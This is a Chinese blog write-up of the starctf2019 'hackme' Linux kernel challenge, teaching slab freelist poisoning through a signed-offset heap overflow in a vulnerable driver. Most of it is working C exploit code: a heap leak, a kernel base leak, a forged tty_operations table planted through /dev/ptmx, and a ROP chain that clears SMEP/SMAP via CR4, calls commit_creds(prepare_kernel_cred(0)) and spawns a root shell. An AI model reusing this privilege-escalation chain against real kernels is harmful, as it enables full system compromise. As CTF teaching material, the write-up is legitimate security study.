Linux kernel Heap exploit

Linux内核使用的是slab/slub分配器,与glibc下的ptmalloc有许多类似的地方。比如kfree后,原来的用户数据区的前8字节会有指向下一个空闲块的指针。如果用户请求的大小在空闲的堆块里有满足要求的,则直接取出。

通过调试,可以发现,被释放的堆的数据域前8字节正好指向下一个空闲堆的数据域

与glibc下的ptmalloc2不同的是,slab/slub分配的堆的大小不是数据域加头结构的大小,而是与slab/slub里面的内存“桶”对齐的。我们可以查看slab/slub有哪些“桶”,以root身份,在终端输入

  1. //查看slab的内存桶
  2. # cat /proc/slabinfo

我们看到,有这些桶,比如8K的,专门管理8K的堆空间,16字节的专门管理16字节的堆空间。而我们申请的空间大小,是向上对齐,比如,我们要申请600字节的空间,那么slab分配的空间大小实际为1K。并且,大小相同的堆靠在一起。

因此,如果要利用溢出写的话,应该以实际大小来计算偏移等。

还有一个比较容易利用的就是,我们如果可以伪造空闲块的next指针,则可以很容易分配到我们想要读写的地方,不像ptmalloc2里的堆那样,还需要伪造堆结构,这里只需要更改next指针,即可达到目的,为了加深理解,我们以starctf2019-hackme这题为例

starctf2019-hackme

首先,查看一下启动脚本,发现,开启了smap、smep机制,这意味着,内核态里面不能直接访问用户态的数据,而应该拷贝到内核的空间;内核态不能执行用户空间的代码,否则会触发页错误。

  1. qemu-system-x86_64 \
  2. -m 256M \
  3. -nographic \
  4. -kernel bzImage \
  5. -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
  6. -monitor /dev/null \
  7. -initrd initramfs.cpio \
  8. -smp cores=4,threads=2 \
  9. -gdb tcp::1234 \
  10. -cpu qemu64,smep,smap 2>/dev/null

然后,我们用IDA分析一下驱动文件hackme.ko

类似于用户态程序常规的增删改查堆题

经过分析,用户态需要传入的数据结构体为

  1. //发送给驱动的数据结构
  2. struct Data {
  3. uint32_t index; //下标
  4. uint32_t padding; //填充
  5. char *buf; //用户的数据
  6. int64_t buf_len; //用户的数据的长度
  7. int64_t offset; //偏移
  8. };

漏洞点在于offset和user_buf_len是有符号数,那么,我们就能一个传入负数,一个传入正数,实现堆溢出,我们可以轻松的向上溢出,修改前面的区域。

首先,不急于做题

为了证明我们可以轻松的伪造空闲堆的前八字节的next指针,从而达到分配到任意地址,我们做个试验。那么,我们需要先关闭smap机制,在脚本里把它注释掉。然后,我们通过溢出,修改next指针,看看,这里是test.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>//驱动的fd
int fd;void initFD() {fd = open("/dev/hackme",O_RDWR);if (fd < 0) {printf("open file error!!\n");exit(-1);}
}//发送给驱动的数据结构
struct Data {uint32_t index; //下标uint32_t padding; //填充char *buf; //用户的数据int64_t buf_len; //用户的数据的长度int64_t offset; //偏移
};//创建堆
void create(unsigned int index,char *buf,int64_t len) {struct Data data;data.index = index;data.buf = buf;data.buf_len = len;data.offset = 0;ioctl(fd,0x30000,&data);
}void kdelete(unsigned int index) {struct Data data;data.index = index;ioctl(fd,0x30001,&data);
}void edit(unsigned int index,char *buf,int64_t len,int64_t offset){struct Data data;data.index = index;data.buf = buf;data.buf_len = len;data.offset = offset;ioctl(fd,0x30002,&data);
}void readBuf(unsigned int index,char *buf,int64_t len,int64_t offset) {struct Data data;data.index = index;data.buf = buf;data.buf_len = len;data.offset = offset;ioctl(fd,0x30003,&data);
}char buf[0x1000] = {0};char buf2[0x100]= {0};void fillBuf() {for (int i=0;i<0x1000;i++) {buf[i] = 'a';}
}
int main() {initFD();create(0,buf,0x100); //0create(1,buf,0x100); //1kdelete(0);//修改堆0的next指针,指向我们用户区的buf2((size_t *)buf)[0] = &buf2;edit(1,buf,0x100,-0x100);//为了看的清除,我们把buf填充上数据fillBuf();//分配堆0create(0,buf,0x100); //0//分配到buf2create(2,buf,0x100); //2//全程,我们没有给buf2填充,我们看看buf2现在的内容printf("buf2=%s\n",buf2);return 0;
}

程序执行后,结果是这样的

可以看到,我们通过伪造空闲堆块的next指针,就直接实现了任意地址的读写。这比用户态的堆简单多了。

那么,本题的解题思路自然是很多

  1. 想办法泄露cred的地址,然后伪造空闲堆的next,指向cred,分配到cred处,覆写cred结果,获得root权限。
  2. 提前分配好两个与cred结构大小相同的堆,释放第一个堆,然后fork一个子进程,子进程的cred结构有一定几率分配到之前释放的那个堆里,再利用第二个堆向上溢出,修改子进程的cred结构。有一种方法能够准确快速的获得cred结构的大小,那就是查看vmlinux文件里的cred_init函数,因为cred_init的源代码如下
  1. /*
  2. * initialise the credentials stuff
  3. */
  4. void __init cred_init(void)
  5. {
  6. /* allocate a slab in which we can store credentials */
  7. cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
  8. SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
  9. }

我们可以在调试期间,修改启动脚本,使得系统一开始就是root权限,然后,我们查看一下cred_init的地址

  1. # cat /proc/kallsyms | grep cred_init
  2. ffffffff84670946 T cred_init

然后,我们用IDA打开vmlinux文件,没有的话,可以用extract-vmlinux解压出来。根据地址后几字节,找到这个函数

我们查看函数,就能得到cred结构的大小

但是,由于cred结构的申请使用的是create_kmalloc_cache,这意味着它不大可能直接从我们这边的空闲堆块里取,而是从它的缓存空间里分配。

因此,我们来了一个可靠的

方法3,分配tty_struct结构到空闲堆

之前,我在https://blog.csdn.net/seaaseesa/article/details/104577501这篇博客里详细讲到了UAF控制tty_struct,这里是同样的道理,我们能够使用堆溢出来控制。本题,我们要还要克服一个限制,那就是smap机制,smap机制不让内核直接使用用户空间的数据,而我们的rop、伪造的fake_tty_operations都布置在用户空间的内存里。与smep一样,判断它们的开启与否,都是看cr4寄存器里的值,如果在之前能够有机会执行mov cr4,xxx,使得cr4寄存器的第21位为0,即可关闭smap机制。然而,比较难有这个机会,因此我们直接把这些数据复制一份到内核的堆里,即可绕过这个机制。

当我们把rop、fake_tty_operations布置在堆里,那么,我们还需要泄露堆地址,才能利用。泄露堆地址很简单,溢出读取前一个空闲堆块的next域即可。

直接上完整的exp

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0
//如果我们申请0x2E0的空间,slab分配的堆实际大小为0x400
#define REAL_HEAP_SIZE 0x400
//二进制文件的静态基址
#define RAW_KERNEL_BASE 0XFFFFFFFF81000000
//mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret
size_t MOV_CR4_RAX = 0xffffffff8100252b;
//swapgs ; popfq ; pop rbp ; ret
size_t SWAPGS = 0xffffffff81200c2e;
//iretq
size_t IRETQ = 0xFFFFFFFF81019356;
//commit_creds函数
size_t COMMIT_CREDS = 0xFFFFFFFF8104D220;
// prepare_kernel_cred
size_t PREPARE_KERNEL_CRED = 0xFFFFFFFF8104D3D0;
//push rax ; pop rsp ; cmp qword ptr [rdi + 8], rdx ; jae 0xffffffff810608e8 ; ret做栈迁移用
size_t PUSH_RAX_POP_RSP = 0xffffffff810608d5;
size_t POP_RAX = 0xffffffff8101b5a1;
size_t POP_RSP = 0xffffffff810484f0;//驱动的fd
int fd;void initFD() {fd = open("/dev/hackme",O_RDWR);if (fd < 0) {printf("open file error!!\n");exit(-1);}
}//发送给驱动的数据结构
struct Data {uint32_t index; //下标uint32_t padding; //填充char *buf; //用户的数据int64_t buf_len; //用户的数据的长度int64_t offset; //偏移
};//创建堆
void create(unsigned int index,char *buf,int64_t len) {struct Data data;data.index = index;data.buf = buf;data.buf_len = len;data.offset = 0;ioctl(fd,0x30000,&data);
}void kdelete(unsigned int index) {struct Data data;data.index = index;ioctl(fd,0x30001,&data);
}void edit(unsigned int index,char *buf,int64_t len,int64_t offset){struct Data data;data.index = index;data.buf = buf;data.buf_len = len;data.offset = offset;ioctl(fd,0x30002,&data);
}void readBuf(unsigned int index,char *buf,int64_t len,int64_t offset) {struct Data data;data.index = index;data.buf = buf;data.buf_len = len;data.offset = offset;ioctl(fd,0x30003,&data);
}char buf[0x1000] = {0};//初始化函数和gadgets的地址
void init_addr(size_t kernel_base) {MOV_CR4_RAX += kernel_base - RAW_KERNEL_BASE;printf("mov_cr4_rax_addr=0x%lx\n",MOV_CR4_RAX);SWAPGS += kernel_base - RAW_KERNEL_BASE;printf("swapgs_addr=0x%lx\n",SWAPGS);IRETQ += kernel_base - RAW_KERNEL_BASE;printf("iretq_addr=0x%lx\n",IRETQ);COMMIT_CREDS += kernel_base - RAW_KERNEL_BASE;printf("commit_creds_addr=0x%lx\n",COMMIT_CREDS);PREPARE_KERNEL_CRED += kernel_base - RAW_KERNEL_BASE;printf("prepare_kernel_cred_addr=0x%lx\n",PREPARE_KERNEL_CRED);PUSH_RAX_POP_RSP += kernel_base - RAW_KERNEL_BASE;printf("push_rax_pop_rsp_addr=0x%lx\n",PUSH_RAX_POP_RSP);POP_RSP += kernel_base - RAW_KERNEL_BASE;printf("pop_rsp_addr=0x%lx\n",POP_RSP);POP_RAX += kernel_base - RAW_KERNEL_BASE;printf("pop_rax_addr=0x%lx\n",POP_RAX);
}void getRoot() {//函数指针void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;//commit_creds(prepare_kernel_cred(0))(*cc)((*pkc)(0));
}void getShell() {if (getuid() == 0) {printf("[+]Rooted!!\n");system("/bin/sh");} else {printf("[+]Root Fail!!\n");}
}size_t user_cs,user_ss,user_flags,user_sp;
/*保存用户态的寄存器到变量里*/
void saveUserState() {__asm__("mov %cs,user_cs;""mov %ss,user_ss;""mov %rsp,user_sp;""pushf;""pop user_flags;");puts("user states have been saved!!");
}int main() {//保存用户态寄存器saveUserState();initFD();//创建一个与TTY_STRUCT_SIZE结构体大小一样的堆create(0,buf,TTY_STRUCT_SIZE);//由slab分配器的性质,大小相同的堆挨在一起,所以我们//再创建一个TTY_STRUCT_SIZE的堆,用于向上越界create(1,buf,TTY_STRUCT_SIZE);//释放大小为TTY_STRUCT_SIZE的第一个堆kdelete(0);//由于开启了smap,我们需要把ROP、fake_tty_operations这些放内核的堆空间里create(2,buf,0x100);create(3,buf,0x100);kdelete(2);//2里面会有下一个空闲块的地址,就能算出2的地址readBuf(3,buf,0x100,-0x100);size_t heap_addr = ((size_t *)buf)[0] - 0x200;printf("heap2_addr=0x%lx\n",heap_addr);//伪造tty_operations函数表size_t fake_tty_operations[0x20];//tty_struct结构申请到了堆0int tty_fd = open("/dev/ptmx",O_RDWR);//将tty_struct结构读取出来readBuf(1,buf,REAL_HEAP_SIZE,-REAL_HEAP_SIZE);//获得一个vmlinux里的某处地址,减去偏移,就是内核的基地址size_t kernel_base = ((size_t *)buf)[3] - 0x625D80;printf("kernel_base=0x%lx\n",kernel_base);//初始化gadgets和函数的地址init_addr(kernel_base);//构造ROPsize_t rop[0x20];int i = 0;/*rop同时关闭了smap、semp*/rop[i++] = POP_RAX;rop[i++] = 0x6f0;rop[i++] = MOV_CR4_RAX;rop[i++] = 0;rop[i++] = (size_t)getRoot;rop[i++] = SWAPGS;rop[i++] = 0;rop[i++] = 0;rop[i++] = IRETQ;rop[i++] = (size_t)getShell;rop[i++] = user_cs;rop[i++] = user_flags;rop[i++] = user_sp;rop[i++] = user_ss;//将rop保存到内核的堆里,绕过smapcreate(2,(char *)rop,0x100);size_t rop_addr = heap_addr;//对tty_fd执行write,将触发这个gadget进行第一次转转移fake_tty_operations[7] = PUSH_RAX_POP_RSP;//栈再一次转移到rop数组里fake_tty_operations[0] = POP_RSP;fake_tty_operations[1] = rop_addr;//将fake_tty_operations保存到内核的堆里,绕过smapkdelete(3);create(3,(char *)fake_tty_operations,0x100);size_t fake_tty_operations_addr = heap_addr + 0x100;((size_t *)buf)[3] = fake_tty_operations_addr; //篡改tty_operations指针edit(1,buf,REAL_HEAP_SIZE,-REAL_HEAP_SIZE); //把篡改后的数据写回去//触发栈转移,执行ROPwrite(tty_fd,buf,0x10);return 0;
}

linux kernel pwn学习之堆漏洞利用+bypass smap、smep相关推荐

  1. Linux kernel pwn notes(内核漏洞利用学习)

    前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...

  2. 【学习札记NO.00004】Linux Kernel Pwn学习笔记 I:一切开始之前

    [学习札记NO.00004]Linux Kernel Pwn学习笔记 I:一切开始之前 [GITHUB BLOG ADDR](https://arttnba3.cn/2021/02/21/NOTE-0 ...

  3. linux kernel pwn学习之hijack prctl

    Hijack prctl Prctl是linux的一个函数,可以对进程.线程做一些设置,prctl内部通过虚表来调用对应的功能,如果我们劫持prctl的虚表,使它指向其他对我们有帮助的内核函数,比如c ...

  4. 【pwn学习】堆溢出(三)- Unlink和UAF

    前置学习 [pwn学习]堆溢出(一) [pwn学习]堆溢出(二)- First Fit 文章目录 什么是Unlink? Unlink如何利用? 加入错误检查 什么是Use-After-free? 例题 ...

  5. CTF-PWN-babydriver (linux kernel pwn+UAF)

    第一次接触linux kernel pwn,和传统的pwn题区别较大,需要比较多的前置知识,以及这种题的环境搭建.运行和调试相关的知识. 文章目录 Linux内核及内核模块 Linux内核(Kerne ...

  6. 利用samba漏洞入侵linux主机(samba低版本漏洞利用)

    复现samba漏洞入侵linux主机(samba低版本漏洞利用) Samba是在Linux和UNIX系统上实现,由服务器及客户端程序构成.SMB(Server Messages Block,信息服务块 ...

  7. CVE-2020-8835: Linux Kernel 信息泄漏/权限提升漏洞分析

    CVE-2020-8835: Linux Kernel 信息泄漏/权限提升漏洞分析 360-CERT [360CERT](javascript:void(0)

  8. Linux下堆漏洞利用(off-by-one)

    一个字节溢出被称为off-by-one,曾经的一段时间里,off-by-one被认为是不可以利用的,但是后来研究发现在堆上哪怕只有一个字节的溢出也会导致任意代码的执行.同时堆的off-by-one利用 ...

  9. linux内核关闭igmp,Linux kernel IGMP多个安全漏洞

    受影响系统: Linux kernel 2.6.9 Linux kernel 2.6.8 Linux kernel 2.6.7 Linux kernel 2.6.6 Linux kernel 2.6. ...

  10. linux内核io源码,Linux Kernel do_io_submit()函数整数溢出漏洞

    发布日期:2010-09-21 更新日期:2010-09-27 受影响系统: Linux kernel 2.6.x 不受影响系统: Linux kernel 2.6.36-rc4 描述: ------ ...

最新文章

  1. Linux下Apache日志分析工具--AWStats安装使用
  2. cglib与java反射的比较
  3. Android实例-手机震动(XE8+小米2)
  4. 语言nomogram校准曲线图_医学统计与R语言:Meta 回归作图(Meta regression Plot)
  5. 模拟栈数据结构改进版(使用异常)
  6. 1_python基础—变量
  7. mysql bin 分析_mysql bin log 分析
  8. C#获取文件/文件夹默认图标
  9. Git(8):在GitHub上,如何使fork到的项目与原仓库的更新保持同步?
  10. Android和iPhone浏览器大战,第1部分,WebKit抢救
  11. oppoJava面试!一招彻底帮你搞定HashMap源码,极其重要
  12. TensorFlow下用自己的数据训练Fater-RCNN
  13. QCC3040/QCC3046 ANC(主动降噪)调测
  14. 你需要但是找不到的网站,其实不太想分享,有你想要想收藏的
  15. ORB_SLAM2源码阅读(三)相机定位
  16. [福禄克] Fluke同轴电缆测试模块DSX-CHA003 COAX
  17. 电商网站业务流程图示例
  18. Redis学习笔记(二) [配置文件,3种新的数据类型,Jedis操作]
  19. 如何防止勒索病毒祸害医院:不要裸奔,要灾备造就安全
  20. 人事管理系统项目(参考答案)

热门文章

  1. 夏夜也发低烧—夜的精灵[风潮唱片]
  2. Android 网络请求框架浅解析
  3. SpringBoot——检索
  4. vue3源码effect
  5. mac部署rabbitmq流程与异常总结
  6. ps cs6安装问题汇总
  7. SX1308原厂芯片
  8. 关乎未来40年企业生存,这些食品饮料巨头都在干这件事儿! | 商研局 Cool Business...
  9. python 新浪邮箱发送邮件
  10. 常见的几种隐藏文件的方法